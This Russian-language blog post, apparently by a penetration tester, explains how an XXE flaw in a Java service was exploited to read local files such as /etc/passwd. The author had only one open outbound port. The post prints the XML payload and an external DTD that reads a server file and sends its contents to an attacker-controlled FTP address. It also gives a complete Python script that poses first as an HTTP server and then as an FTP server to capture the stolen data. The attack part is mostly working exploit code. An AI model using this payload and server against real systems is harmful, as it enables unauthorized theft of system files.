Предположим, мы нашли XXE-уязвимость и пытаемся организовать OOB-извлечение содержимого локальных файлов уязвимого сервера.
Существуют несколько различных способов проделать это, а мне недавно пришлось использовать извлечение по FTP-протоколу (насколько я понимаю, это было связано с версией Java уязвимого сервиса – она не позволяла извлекать содержимое, например, /etc/passwd
, по HTTP).
Я использовал такой вектор:
1 2 3 4 5 6 7 8 | <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://host:1111/ext.dtd"> %sp; %param1; ]> <r>&exfil;</r> |
и разметил по адресу http://host:1111/ext.dtd
следующий DTD:
1 2 | <!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://host:2222/%data;'>"> |
Работает вектор следующим образом:
1. При обработке исходного XML уязвимое приложение подгружает внешнюю схему через HTTP по адресу http://host:1111/ext.dtd
2. При обработке загруженной схемы считывается локальный файл /etc/passwd
и происходит попытка подгрузки внешней сущности exfil
через FTP по адресу ftp://host:2222/%data;
, где вместо %data;
парсер подставит содержимое подгруженного /etc/passwd
. Соответственно, контролируя FTP-сервер, мы легко прочитаем извлеченные данные.
И наверное все сработало бы как надо, если бы ни одно «но» – на серверном файерволле были разрешены исходящие соединения только на один единственный порт 3785
, а необходимо было обеспечить 2 исходящих соединения: по HTTP, а потом по FTP. Пришлось подключать смекалку и думать, как корректно обработать два разных протокола на одном порту 🙂
Для успешной эксплуатации баги я написал маленький сервер на питоне, который поочередно являлся сначала HTTP-, а потом и FTP-сервером. Конечно, протоколы я реализовывал не полностью, а только ту часть, которая нужна для нашей задачи.
Смотря на описание работы вектора, которое я расписал выше, становится понятно, что такой сервер при первом запросе к нему должен прикинуться HTTP-сервером и отдать DTD с дополнительными сущностями, а при втором запросе – должен стать FTP-сервером и вывести на экран отправленные ему команды, т.к. именно в них будет содержимое файла /etc/passwd
.
Итак, первая часть скрипта – HTTP-сервер, выдающий DTD:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #!/usr/env/python # coding: utf-8 from __future__ import print_function import socket HOST = 'host.com' PORT = 8080 # DTD, которую сервер выдаст в ответ на любой запрос dtd = '''<!ENTITY % data SYSTEM "file:///etc/group"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://{}:{}/%data;'>">'''.format(HOST, PORT) # Создаем сокет и биндим его на все интерфейсы на указанный порт s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',PORT)) s.listen(1) conn,addr = s.accept() # ждем входящего HTTP-соединения print('-> HTTP-connection accepted') # После установления соединения читаем данные # (они нам не нужны, но прочитать требуется) и в ответ высылаем DTD, # прикидываясь HTTP-сервером data = conn.recv(1024) conn.sendall('HTTP/1.1 200 OK\r\nContent-length: {len}\r\n\r\n{dtd}'.format(len=len(dtd), dtd=dtd)) print('-> DTD sent') conn.close() |
Вторая часть – имитация FTP-сервера, выводящая на экран извлеченное содержимое файла:
30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | conn,addr = s.accept() # ждем входящего FTP-соединения print('-> FTP-connection accepted') conn.sendall('220 FTP\r\n') # представляемся FTP-сервером stop = False while not stop: data = str(conn.recv(1024)) # читаем команды от клиента # когда клиент сообщает имя пользователя – просим пароль, # чтобы корректно имитировать процедуру аутентификации if data.startswith('USER'): conn.sendall('331 password please\r\n') # команда RETR как раз будет содержать извлекаемое содержимое файла elif data.startswith('RETR'): print('-> RETR command received, extracted data:') print('-'*30) print(data.split(' ', 1)[-1]) stop = True elif data.startswith('QUIT'): # останавливаемся, если клиент просит stop = True # в других случаях просим дополнительные данные else: conn.sendall('230 more data please\r\n') conn.close() s.close() |
Запускаем скрипт на нашем сервере и отправляем исходный XML-вектор уязвимому приложению. Вот как выглядит результат работы:

Таким образом можно используя всего один открытый на файерволле порт произвести извлечение содержимого локальных файлов сервера сразу через 2 необходимых протокола 😉
- 4Поделились
4
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
https://github.com/TheTwitchy/xxer
По этим ссылкам нет информации, как провести атаку, если открыт только один порт. Но статьей на onsec я пользовался в том числе.